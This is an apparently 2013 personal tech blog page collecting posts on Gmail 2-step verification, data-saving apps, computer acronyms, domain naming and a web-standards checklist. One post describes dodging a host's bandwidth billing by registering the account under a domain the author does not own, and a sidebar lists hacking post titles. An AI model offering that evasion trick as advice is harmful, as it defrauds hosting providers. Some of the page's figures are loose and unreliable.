This is where Backup phone feature comes into play. It is possible for you to add a friend or family member’s number as the backup phone on your Gmail t. In case of an emergency, you can ask Gmail to send verification code to backup phone instead of to your regular phone. This feature ensures that you will still be able to access your Gmail account.

Let us imagine an even bigger emergency. You have lost your regular phone and your backup phone. Or you have lost your phone and, for some reason, you are not able to get in touch with the person who has the backup phone. How can you still access your Gmail account? This is where something known as Printable backup codes is helpful. Using this feature, you can print a bunch of backup verification codes and store them in a safe place (like your wallet). These backup codes will be the only way for you to access your Gmail account if both your regular and backup phones are misplaced.

If you are using an Android, iPhone or BlackBerry mobile phone, then you don’t even need to rely on an SMS or voice call to receive your Gmail verification code. Instead you could install the 2-step verification mobile app on your phone and it will do the rest.

One problem that you may encounter after enabling 2-step verification is that you may not be able to access your Gmail account from web or mobile apps other than a browser (Google Talk, Outlook). The reason why these other apps no longer work is that they were not designed to have any additional space available for you to enter the verification code. In other words, they are not compatible with the 2-step verification feature. This is where application specific passwords come into picture.

Application specific passwords are special sixteen-character-long passwords that are generated for specific apps only and cannot be used elsewhere to log in to your Gmail account. Application-specific passwords do not need to be memorized by you and only need to be entered once into the app that does not support 2-step verification. You should remember to enable the Save password option in your app, so that you don’t need to generate the Application–specific password repetedly.

SAVE MONEY 0N DATA PLANS

2013-12-26T09:52:00.003+05:30

Do you want to save money on your mobile phone data plans and get more data on your phone at the same price?

Normally, whenever you need details about your phone usage, you either guess or rely on the usage trackers provided by your mobile phone provider, which may not be completely reliable. This leads to unexpectedly exorbitant bills.

You can stop guessing your phone data usage and put an end to exorbitant bills by getting the Onavo Count app on your mobile phone. It is available as free download for both Android and iPhone platform. Once installed on your phone, Onavo Count will tell you how much data has been used on your phone by each app segregated by 2G/3G/4G/LTE, so that you can monitor, tweak and control data usage.

It is also possible to extend your data plans by installing the Onavo Extend app on your phone. Once installed it will compress your data usage by up to 500%, hence allowing you to get five times the data at the same price.

For further details please visit: https://play.google.com/store/apps/details?id=com.onavo.android.onavoid&hl=en

Computer Acronyms

2013-12-02T09:09:00.000+05:30

Here are some of Acronyms:

---A---

ADSL - Asymmetric Digital Subscriber Line

AGP - Accelerated Graphics Port

ALI - Acer Labs, Incorporated

ALU - Arithmetic Logic Unit

AMD - Advanced Micro Devices

APC - American Power Conversion

ASCII - American Standard Code for Information Interchange

ASIC - Application Specific Integrated Circuit

ASPI - Advanced SCSI Programming Interface

AT - Advanced Technology

ATI - ATI Technologies Inc.

ATX - Advanced Technology Extended

--- B ---

BFG - BFG Technologies

BIOS - Basic Input Output System

BNC - Barrel Nut Connector

--- C ---

CAS - Column Address Signal

CD - Compact Disk

CDR - Compact Disk Recorder

CDRW - Compact Disk Re-Writer

CD-ROM - Compact Disk - Read Only Memory

CFM - Cubic Feet per Minute (ft�/min)

CMOS - Complementary Metal Oxide Semiconductor

CPU - Central Processing Unit

CTX - CTX Technology Corporation (Committed to Excellence)

--- D ---

DDR - Double Data Rate

DDR-SDRAM - Double Data Rate - Synchronous Dynamic Random Access Memory

DFI - DFI Inc. (Design for Innovation)

DIMM - Dual Inline Memory Module

DRAM - Dynamic Random Access Memory

DPI - Dots Per Inch

DSL - See ASDL

DVD - Digital Versatile Disc

DVD-RAM - Digital Versatile Disk - Random Access Memory

--- E ---

ECC - Error Correction Code

ECS - Elite group Computer Systems

EDO - Extended Data Out

EEPROM - Electrically Erasable Programmable Read-Only Memory

EPROM - Erasable Programmable Read-Only Memory

EVGA - EVGA Corporation

--- F ---

FC-PGA - Flip Chip Pin Grid Array

FDC - Floppy Disk Controller

FDD - Floppy Disk Drive

FPS - Frame Per Second

FPU - Floating Point Unit

FSAA - Full Screen Anti-Aliasing

FS - For Sale

FSB - Front Side Bus

--- G ---

GB - Gigabytes

GBps - Gigabytes per second or Gigabits per second

GDI - Graphical Device Interface

GHz - Gigahertz

--- H ---

HDD - Hard Disk Drive

HIS - High-tech Information System Limited

HP - Hewlett-Packard Development Company

HSF - Heat-sink-Fan

--- I ---

IBM - International Business Machines Corporation

IC - Integrated Circuit

IDE - Integrated Drive Electronics

IFS- Item for Sale

IRQ - Interrupt Request

ISA - Industry Standard Architecture

ISO - International Standards Organization

--- J ---

JBL - JBL (Jame B. Lansing) Speakers

JVC - JVC Company of America

--- K ---

Kbps - Kilo-bits Per Second

KBps - Kilo Bytes per second

--- L ---

LG - LG Electronics

LAN - Local Area Network

LCD - Liquid Crystal Display

LDT - Lightning Data Transport

LED - Light Emitting Diode

--- M ---

MAC - Media Access Control

MB - Motherboard or Megabyte

MBps - Megabytes Per Second

Mbps - Megabits Per Second or Megabits Per Second

MHz - Mega Hertz

MIPS - Million Instructions Per Second

MMX - Multi-Media Extensions

MSI - Micro Star International

--- N ---

NAS - Network Attached Storage

NAT - Network Address Translation

NEC - NEC Corporation

NIC - Network Interface Card

--- O ---

OC - Overclock (Over Clock)

OCZ - OCZ Technology

OEM - Original Equipment Manufacturer

--- P ---

PC - Personal Computer

PCB - Printed Circuit Board

PCI - Peripheral Component Interconnect

PDA - Personal Digital Assistant

PCMCIA - Peripheral Component Micro-channel Interconnect Architecture

PGA - Professional Graphics Array

PLD - Programmable Logic Device

PM - Private Message / Private Messaging

PnP - Plug 'n Play

PNY - PNY Technology

POST - Power On Self Test

PPPoA - Point-to-Point Protocol over ATM

PPPoE - Point-to-Point Protocol over Ethernet

PQI - PQI Corporation

PSU - Power Supply Unit

--- R ---

RAID - Redundant Array of Inexpensive Disks

RAM - Random Access Memory

RAMDAC - Random Access Memory Digital Analog Converter

RDRAM - Ram-bus Dynamic Random Access Memory

ROM - Read Only Memory

RPM - Revolutions Per Minute

--- S ---

SASID - Self-scanned Amorphous Silicon Integrated Display

SCA - SCSI Configured Automatically

SCSI - Small Computer System Interface

SDRAM - Synchronous Dynamic Random Access Memory

SECC - Single Edge Contact Connector

SODIMM - Small Outline Dual Inline Memory Module

SPARC - Scalable Processor Architecture

SOHO - Small Office Home Office

SRAM - Static Random Access Memory

SSE - Streaming SIMD Extensions

SVGA - Super Video Graphics Array

S/PDIF - Sony/Philips Digital Interface

--- T ---

TB - Terabytes

TBps - Terabytes per second

Tbps - Terabits per second

TDK - TDK Electronics

TEC - Thermoelectric Cooler

TPC - TipidPC

TWAIN - Technology Without An Important Name

--- U ---

UART - Universal Asynchronous Receiver/Transmitter

USB - Universal Serial Bus

UTP - UN-shielded Twisted Pair

--- V ---

VCD - Video CD

VPN - Virtual Private Network

--- W ---

WAN - Wide Area Network

WTB - Want to Buy

WYSIWYG - What You See Is What You Get

--- X ---

XGA - Extended Graphics Array

XFX - XFX Graphics, a Division of Pine

XMS - Extended Memory Specification

XT - Extended Technology

A GOOD NAME IS IMPORTANT

2013-11-27T17:01:00.003+05:30

Another good tip for successful web experience.. Enjoy it!

Choosing A Good Domain Name./.

Choosing a domain name for your site is one of the most important steps towards creating the perfect internet presence.
If you run an on-line business, picking a name that will be marketable and achieve success in search engine placement is paramount.
Many factors must be considered when choosing a good domain name.
This article summarizes all the different things to consider before making that final registration step!

Short and Sweet

Domain names can be really long or really short (1 - 67 characters).
In general, it is far better to choose a domain name that is short in length.
The shorter your domain name, the easier it will be for people remember.
Remembering a domain name is very important from a marketability perspective.
As visitors reach your site and enjoy using it, they will likely tell people about it.
And those people may tell others, etc.
As with any business, word of mouth is the most powerful marketing tool to drive traffic to your site (and it's free too!).
If your site is long and difficult to pronounce, people will not remember the name of the site and unless they bookmark the link, they may never return.

Consider Alternatives

Unless a visitor reaches your site through a bookmark or a link from another site, they have typed in your domain name.
Most people on the internet are terrible typists and misspell words constantly.
If your domain name is easy to misspell, you should think about alternate domain names to purchase.
For example, if your site will be called "MikesTools.com", you should also consider buying "MikeTools.com" and "MikeTool.com".
You should also secure the different top level domain names besides the one you will use for marketing purposes ("MikesTools.net", "MikesTools.org", etc.).
You should also check to see if there are existing sites based on the misspelled version of the domain name you are considering.
"MikesTools.com" may be available, but "MikesTool.com" may be home to a graphic pornography site.
You would hate for a visitor to walk away thinking you were hosting something they did not expect.

Also consider domain names that may not include the name of your company, but rather what your company provides.
For example, if the name of your company is Mike's Tools, you may want to consider domain names that target what you sell.
For example: "buyhammers.com" or "hammer-and-nail.com".
Even though these example alternative domain names do not include the name of your company, it provides an avenue for visitors from your target markets.
Remember that you can own multiple domain names, all of which can point to a single domain.
For example, you could register "buyhammers.com", "hammer-and-nail.com", and "mikestools.com" and have "buyhammers.com" and "hammer-and-nail.com" point to "mikestools.com".

Hyphens: Your Friend and Enemy

Domain name availability has become more and more scant over the years.
Many single word domain names have been scooped up which it makes it more and more difficult to find a domain name that you like and is available.
When selecting a domain name, you have the option of including hyphens as part of the name.
Hyphens help because it allows you to clearly separate multiple words in a domain name, making it less likely that a person will accidentally misspell the name. For example, people are more likely to misspell "domainnamecenter.com" than they are "domain-name-center.com".
Having words crunched together makes it hard on the eyes, increasing the likelihood of a misspelling.
On the other hand, hyphens make your domain name longer.
The longer the domain name, the easier it is for people to forget it altogether.
Also, if someone recommends a site to someone else, they may forget to mention that each word in the domain name is separated by a hyphen.
If do you choose to leverage hyphens, limit the number of words between the hyphens to three.
Another advantage to using hyphens is that search engines are able to pick up each unique word in the domain name as key words, thus helping to make your site more visible in search engine results.

Dot What?

There are many top level domain names available today including .com, .net, .org, and .biz.
In most cases, the more unusual the top level domain, the more available domain names are available.
However, the .com top level domain is far and away the most commonly used domain on the internet, driven by the fact that it was the first domain extension put to use commercially and has received incredible media attention.
If you cannot lay your hands on a .com domain name, look for a .net domain name, which is the second most commercially popular domain name extension.

Long Arm of the Law

Be very careful not to register domain names that include trademarked names.
Although internet domain name law disputes are tricky and have few cases in existence, the risk of a legal battle is not a risk worth taking.
Even if you believe your domain name is untouchable by a business that has trademarked a name, do not take the chance: the cost of litigation is extremely high and unless you have deep pockets you will not likely have the resources to defend yourself in a court of law.
Even stay away from domain names in which part of the name is trademarked: the risks are the same.

Search Engines and Directories

All search engines and directories are different.
Each has a unique process for being part of the results or directory listing and each has a different way of sorting and listing domain names.
Search engines and directories are the most important on-line marketing channel, so consider how your domain name choice affects site placement before you register the domain.
Most directories simply list links to home pages in alphabetical order.
If possible, choose a domain name with a letter of the alphabet near the beginning ("a" or "b").
For example, "aardvark-pest-control.com" will come way above "joes-pest-control.com".
However, check the directories before you choose a domain name.
You may find that the directories you would like be in are already cluttered with domain names beginning with the letter "a".
Search engines scan websites and sort results based on key words.
Key words are words that a person visiting a search engine actually search on.
Having key words as part of your domain name can help you get better results.

MAKE A PROPER WEBSITE

2013-11-22T17:38:00.001+05:30

A Web Standards Checklist, How to make a proper website

A web standards checklist

The term web standards can mean different things to different people. For some, it is 'table-free sites', for others it is 'using valid code'. However, web standards are much broader than that. A site built to web standards should adhere to standards (HTML, X HTML, XML, CSS, XSLT, DOM, MathML, SVG etc) and pursue best practices (valid code, accessible code, semantically correct code, user-friendly URLs etc).

In other words, a site built to web standards should ideally be lean, clean, CSS-based, accessible, usable and search engine friendly.

About the checklist

This is not an uber-checklist. There are probably many items that could be added. More importantly, it should not be seen as a list of items that must be addressed on every site that you develop. It is simply a guide that can be used:

<>To show the breadth of web standards
<>As a handy tool for developers during the production phase of websites
<>As an aid for developers who are interested in moving towards web standards

The checklist

1.Quality of code.

Does the site use a correct Doc-type?
Does the site use a Character set?
Does the site use Valid (X)HTML?
Does the site use Valid CSS?
Does the site use any CSS hacks?
Does the site use unnecessary classes or ids?
Is the code well structured?
Does the site have any broken links?
How does the site perform in terms of speed/page size?
Does the site have JavaScript errors?

2.Degree of separation between content and presentation.

Does the site use CSS for all presentation aspects (fonts, color, padding, borders etc)?
Are all decorative images in the CSS, or do they appear in the (X)HTML?

3.Accessibility for users.

Are "alt" attributes used for all descriptive images?
Does the site use relative units rather than absolute units for text size?
Do any aspects of the layout break if font size is increased?
Does the site use visible skip menus?
Does the site use accessible forms?
Does the site use accessible tables?
Is there sufficient color brightness/contrasts?
Is color alone used for critical information?I
Is there delayed responsiveness for drop down menus (for users with reduced motor skills)?
Are all links descriptive (for blind users)?

4.Accessibility for devices.

Does the site work acceptably across modern and older browsers?
Is the content accessible with CSS switched off or not supported?
Is the content accessible with images switched off or not supported?
Does the site work in text browsers such as Lynx?
Does the site work well when printed?
Does the site work well in Hand Held devices?
Does the site include detailed metadata?
Does the site work well in a range of browser window sizes?

5. Basic Usability.

Is there a clear visual hierarchy?
Are heading levels easy to distinguish?
Does the site have easy to understand navigation?
Does the site use consistent navigation?Are links underlined?
Does the site use consistent and appropriate language?
Do you have a sitemap page and contact page?
Are they easy to find?
For large sites, is there a search tool?
Is there a link to the home page on every page in the site?
Are visited links clearly defined with a unique color?

6.Site management.

Does the site have a meaningful and helpful 404 error page that works from any depth in the site?
Does the site use friendly URLs?
Do your URLs work without "WWW"?
Does the site have a favicon?

1.Quality of code

Does the site use a correct Doc type?

A doc type (short for 'document type declaration') informs the validator which version of (X)HTML you're using, and must appear at the very top of every web page. Doc types are a key component of compliant web pages: your markup and CSS won't validate without them.

CODE
http://www.alistapart.com/articles/doctype/

More:
CODE
http://www.w3.org/QA/2002/04/valid-dtd-list.html

CODE
http://css.maxdesign.com.au/listamatic/about-boxmodel.htm

CODE
http://gutfeldt.ch/matthias/articles/doctypeswitch.html

Does the site use a Character set?

If a user agent (eg. a browser) is unable to detect the character encoding used in a Web document, the user may be presented with unreadable text. This information is particularly important for those maintaining and extending a multilingual site, but declaring the character encoding of the document is important for anyone producing X HTML/HTML or CSS.

CODE
http://www.w3.org/International/tutorials/tutorial-char-enc/

More:
CODE
http://www.w3.org/International/O-charset.html

Does the site use Valid (X)HTML?

Valid code will render faster than code with errors. Valid code will render better than invalid code. Browsers are becoming more standards compliant, and it is becoming increasingly necessary to write valid and standards compliant HTML.

CODE
http://www.maxdesign.com.au/presentation/sit2003/06.htm

More:
CODE
http://validator.w3.org/

Does the site use Valid CSS?

You need to make sure that there aren't any errors in either your HTML or your CSS, since mistakes in either place can result in botched document appearance.
CODE
http://www.meyerweb.com/eric/articles/webrev/199904.html
More:
CODE
http://jigsaw.w3.org/css-validator/

Does the site use any CSS hacks?

Basically, hacks come down to personal choice, the amount of knowledge you have of workarounds, the specific design you are trying to achieve.

CODE
http://www.mail-archive.com/wsg@webstandardsgroup.org/msg05823.html
More:
CODE
http://css-discuss.incutio.com/?page=CssHack
CODE
http://css-discuss.incutio.com/?page=ToHackOrNotToHack
CODE
http://centricle.com/ref/css/filters/

Does the site use unnecessary classes or ids?

I've noticed that developers learning new skills often end up with good CSS but poor XHTML. Specifically, the HTML code tends to be full of unnecessary divs and ids. This results in fairly meaningless HTML and bloated style sheets.

CODE
http://www.clagnut.com/blog/228/

Is the code well structured?

Semantically correct markup uses html elements for their given purpose. Well structured HTML has semantic meaning for a wide range of user agents (browsers without style sheets, text browsers, PDAs, search engines etc.)

CODE
http://www.maxdesign.com.au/presentation/benefits/index04.htm
More:
CODE
http://www.w3.org/2003/12/semantic-extractor.html

Does the site have any broken links?

Broken links can frustrate users and potentially drive customers away. Broken links can also keep search engines from properly indexing your site.

More:
CODE
http://validator.w3.org/checklink

How does the site perform in terms of speed/page size?

Don't make me wait... That's the message users give us in survey after survey. Even broadband users can suffer the slow-loading blues.

CODE
http://www.websiteoptimization.com/speed/

Does the site have JavaScript errors?

Internet Explore for Windows allows you to turn on a debugger that will pop up a new window and let you know there are javascript errors on your site. This is available under 'Internet Options' on the Advanced tab. Uncheck 'Disable script debugging'.

2.Degree of separation between content and presentation

Does the site use CSS for all presentation aspects (fonts, colour, padding, borders etc)?

Use style sheets to control layout and presentation.

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-style-sheets

Are all decorative images in the CSS, or do they appear in the (X)HTML?

The aim for web developers is to remove all presentation from the html code, leaving it clean and semantically correct.

CODE
http://www.maxdesign.com.au/presentation/benefits/index07.htm

3.Accessibility for users

Are "alt" attributes used for all descriptive images?

Provide a text equivalent for every non-text element

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-text-equivalent

Does the site use relative units rather than absolute units for text size?

Use relative rather than absolute units in markup language attribute values and style sheet property values'.

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-relative-units
More:
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-relative-units
CODE
http://www.clagnut.com/blog/348/

Do any aspects of the layout break if font size is increased?

Try this simple test. Look at your website in a browser that supports easy incrementation of font size. Now increase your browser's font size. And again. And again... Look at your site. Does the page layout still hold together? It is dangerous for developers to assume that everyone browses using default font sizes.

Does the site use visible skip menus?

A method shall be provided that permits users to skip repetitive navigation links.

CODE
http://www.section508.gov/index.cfm?FuseAction=Content&ID=12
Group related links, identify the group (for user agents), and, until user agents do so, provide a way to bypass the group.

CODE
http://www.w3.org/TR/WCAG10-TECHS/#tech-group-links

...blind visitors are not the only ones inconvenienced by too many links in a navigation area. Recall that a mobility-impaired person with poor adaptive technology might be stuck tabbing through that morass.

CODE
http://joeclark.org/book/sashay/serialization/Chapter08.html#h4-2020
More:
CODE
http://www.niehs.nih.gov/websmith/508/o.htm

Does the site use accessible forms?

Forms aren't the easiest of things to use for people with disabilities. Navigating around a page with written content is one thing, hopping between form fields and inputting information is another.

CODE
http://www.htmldog.com/guides/htmladvanced/forms/
More:
CODE
http://www.webstandards.org/learn/tutorials/accessible-forms/01-accessible-forms.html
CODE
http://www.accessify.com/tools-and-wizards/accessible-form-builder.asp
CODE
http://accessify.com/tutorials/better-accessible-forms.asp

Does the site use accessible tables?

For data tables, identify row and column headers... For data tables that have two or more logical levels of row or column headers, use markup to associate data cells and header cells.

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-table-headers
More:
CODE
http://www.bcc.ctc.edu/webpublishing/ada/resources/tables.asp
CODE
http://www.accessify.com/tools-and-wizards/accessible-table-builder_step1.asp
CODE
http://www.webaim.org/techniques/tables/

Is there sufficient colour brightness/contrasts?

Ensure that foreground and background colour combinations provide sufficient contrast when viewed by someone having colour deficits.

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-colour-contrast
More:
CODE
http://www.juicystudio.com/services/colourcontrast.asp

Is colour alone used for critical information?

Ensure that all information conveyed with colour is also available without colour, for example from context or markup.

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-colour-convey

There are basically three types of colour deficiency; Deuteranope (a form of red/green colour deficit), Protanope (another form of red/green colour deficit) and Tritanope (a blue/yellow deficit- very rare).

More:
CODE
http://colourfilter.wickline.org/
CODE
http://www.toledo-bend.com/colourblind/Ishihara.html
CODE
http://www.vischeck.com/vischeck/vischeckURL.php

Is there delayed responsiveness for dropdown menus?

Users with reduced motor skills may find dropdown menus hard to use if responsiveness is set too fast.

Are all links descriptive?

Link text should be meaningful enough to make sense when read out of context - either on its own or as part of a sequence of links. Link text should also be terse.

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-meaningful-links

4.Accessibility for devices.

Does the site work acceptably across modern and older browsers?

Before starting to build a CSS-based layout, you should decide which browsers to support and to what level you intend to support them.

CODE
http://www.maxdesign.com.au/presentation/process/index_step01.cfm

Is the content accessible with CSS switched off or not supported?

Some people may visit your site with either a browser that does not support CSS or a browser with CSS switched off. In content is structured well, this will not be an issue.

Is the content accessible with images switched off or not supported?

Some people browse websites with images switched off - especially people on very slow connections. Content should still be accessible for these people.

Does the site work in text browsers such as Lynx?

This is like a combination of images and CSS switched off. A text-based browser will rely on well structured content to provide meaning.

More:
CODE
http://www.delorie.com/web/lynxview

Does the site work well when printed?

You can take any (X)HTML document and simply style it for print, without having to touch the markup.

CODE
http://www.alistapart.com/articles/goingtoprint/
More:
CODE
http://www.d.umn.edu/itss/support/Training/Online/webdesign/css.html#print

Does the site work well in Hand Held devices?

This is a hard one to deal with until hand held devices consistently support their correct media type. However, some layouts work better in current hand-held devices. The importance of supporting hand held devices will depend on target audiences.

Does the site include detailed metadata?

Metadata is machine understandable information for the web

CODE
http://www.w3.org/Metadata/

Metadata is structured information that is created specifically to describe another resource. In other words, metadata is 'data about data'.

Does the site work well in a range of browser window sizes?

It is a common assumption amongst developers that average screen sizes are increasing. Some developers assume that the average screen size is now 1024px wide. But what about users with smaller screens and users with hand held devices? Are they part of your target audience and are they being disadvantaged?

5.Basic Usability

Is there a clear visual hierarchy?

Organise and prioritise the contents of a page by using size, prominence and content relationships.

CODE
http://www.great-web-design-tips.com/web-site-design/165.html

Are heading levels easy to distinguish?

Use header elements to convey document structure and use them according to specification.

CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-logical-headings

Is the site's navigation easy to understand?

Your navigation system should give your visitor a clue as to what page of the site they are currently on and where they can go next.

CODE
http://www.1stsitefree.com/design_nav.htm

Is the site's navigation consistent?

If each page on your site has a consistent style of presentation, visitors will find it easier to navigate between pages and find information
CODE
http://www.juicystudio.com/tutorial/accessibility/navigation.asp

Does the site use consistent and appropriate language?

The use of clear and simple language promotes effective communication. Trying to come across as articulate can be as difficult to read as poorly written grammar, especially if the language used isn't the visitor's primary language.

CODE
http://www.juicystudio.com/tutorial/accessibility/clear.asp

Does the site have a sitemap page and contact page? Are they easy to find?

Most site maps fail to convey multiple levels of the site's information architecture. In usability tests, users often overlook site maps or can't find them. Complexity is also a problem: a map should be a map, not a navigational challenge of its own.

CODE
http://www.useit.com/alertbox/20020106.html

For large sites, is there a search tool?

While search tools are not needed on smaller sites, and some people will not ever use them, site-specific search tools allow users a choice of navigation options.

Is there a link to the home page on every page in the site?

Some users like to go back to a site's home page after navigating to content within a site. The home page becomes a base camp for these users, allowing them to regroup before exploring new content.

Are links underlined?

To maximise the perceived affordance of clickability, colour and underline the link text. Users shouldn't have to guess or scrub the page to find out where they can click.

CODE
http://www.useit.com/alertbox/20040510.html

Are visited links clearly defined?

Most important, knowing which pages they've already visited frees users from unintentionally revisiting the same pages over and over again.

CODE
http://www.useit.com/alertbox/20040503.html

6.Site Management

Does the site have a meaningful and helpful 404 error page that works from any depth in the site?

You've requested a page - either by typing a URL directly into the address bar or clicking on an out-of-date link and you've found yourself in the middle of cyberspace nowhere. A user-friendly website will give you a helping hand while many others will simply do nothing, relying on the browser's built-in ability to explain what the problem is.

CODE
http://www.alistapart.com/articles/perfect404/

Does the site use friendly URLs?

Most search engines (with a few exceptions - namely Google) will not index any pages that have a question mark or other character (like an ampersand or equals sign) in the URL... what good is a site if no one can find it?

CODE
http://www.sitepoint.com/article/search-engine-friendly-urls

One of the worst elements of the web from a user interface standpoint is the URL. However, if they're short, logical, and self-correcting, URLs can be acceptably usable

CODE
http://www.merges.net/theory/20010305.html
More:
CODE
http://www.sitepoint.com/article/search-engine-friendly-urls
CODE
http://www.websitegoodies.com/article/32
CODE
http://www.merges.net/theory/20010305.html

Does the site's URL work without "www"?

While this is not critical, and in some cases is not even possible, it is always good to give people the choice of both options. If a user types your domain name without the www and gets no site, this could disadvantage both the user and you.

Does the site have a favicon?

A Favicon is a multi-resolution image included on nearly all professionally developed sites. The Favicon allows the webmaster to further promote their site, and to create a more customized appearance within a visitor's browser.

CODE
http://www.favicon.com/

Favicons are definitely not critical. However, if they are not present, they can cause 404 errors in your logs (site statistics). Browsers like IE will request them from the server when a site is bookmarked. If a favicon isn't available, a 404 error may be generated. Therefore, having a favicon could cut down on favicon specific 404 errors. The same is true of a 'robots.txt' file.

GET UNLIMITED BANDWIDTH FROM YOUR HOST

2013-11-22T16:21:00.000+05:30

Get unlimited bandwidth from your host for free.

NOTE: This applies only to specific hosting companies, due to the specific setup needed and does have its drawbacks.

While setting up hosting space with a specific company I often deal with, I noticed that they used a shared IP. (IP shared by two or more websites/domains.) Well, the rates for unlimited bandwidth were around $50+ per month, which I found unreasonable. I didn't require
much space, and didn't want to be limited to a mere 3 gig of traffic per month.

Back on track... When setting up the acct, the hosting company needs to know the domain name so that they can direct it accordingly. (example: 'http://www.123.4.567.890/~user1/ ,
'HTTP://www.123.4.567.890/~user2/ etc)

At this point you can give a URL that doesn't belong to you at all. As long as the nameservers don't change, that should have absolutely no negative effects on you or your site whatsoever.

How it works is this:
The host propagates you a certain amount space on its servers, and monitors the traffic that enters their space through the domain its registered under. Being that the domain isn't connected to the site at all, it registers ZERO traffic.

Zero traffic registered = can't possibly go over bandwidth restrictions can't possibly go over bandwidth restrictions = free unlimited bandwidth.

Now the problems with this (besides the ethical ones) is that your host may offer X amount of mail adds with the acct (you@y...) and these will not work, as the name isnt on their
DNS. However, some domain companies allow you to set it up regardless. Another problem seems to be strictly cosmetic, but can be highly problematic... Once you attach the domain you want onto the site, each page comes up/w the ip/UN the host propagated to your
acct. Its at this point where you have to have a phenomenal 10-15 character alphanumerical or better (#, &, etc) PW, or your site will be vulnerable to attack since the attacker already has your UN. This only gives attackers a slight advantage as the amount of time it would take to brute force a 10 character PW @ a rate of 1,000,000 per second is 10 years. Add numbers and case sensitivity to that and it becomes approx 26,980 years.

While I'm on it, I may as well add that if you use this method, obviously you are going to be using the lowest cost hosting plan available, which in turn will offer the least amount of space. That's
why free hosts were invented.

Free hosts suck as a general rule. Who wants a site smothered in ads? However, if you upload all your programs, graphics and other large files (have a backup of course) to a reliable free host and target them accordingly from your site you have just freed up a significant
amount of space. The only setback/w this is having to keep an index card or file around/w your pws, as you should never use the same one twice, and want to use complicated ones.

AppsWindoW

Keep Your Password Safe

How to become CCISO [Chief Information Security Officer]

CUSTOMIZE YOUR WINDOWS

How to crack Cisco Router password

PHASES OF HACKING

DIFFERENT TYPES OF HACKERS

Difference between HACKER & ETHICAL HACKER

ETHICAL HACKERS ARE IN DEMAND

PASSWORD RETRIEVAL SOFTWARE

HTML and HTML5 Tags

Tag

Description

SMARTPHONE with UBUNTU

Specification

TYPES OF ATTACKS ON A SYSTEM

MODULES IN ETHICAL HACKING

WINDOWS HACKING 1

CRASH YOUR FRIEND COMPUTER

Wi-Fi HACKING

STAY SAFE

ACCESS FROM MOBILE PHONE

FACEBOOK BACKGROUND CHANGER

ACCOUNT HACK-PROOF

SAVE MONEY 0N DATA PLANS

Computer Acronyms

A GOOD NAME IS IMPORTANT

MAKE A PROPER WEBSITE

GET UNLIMITED BANDWIDTH FROM YOUR HOST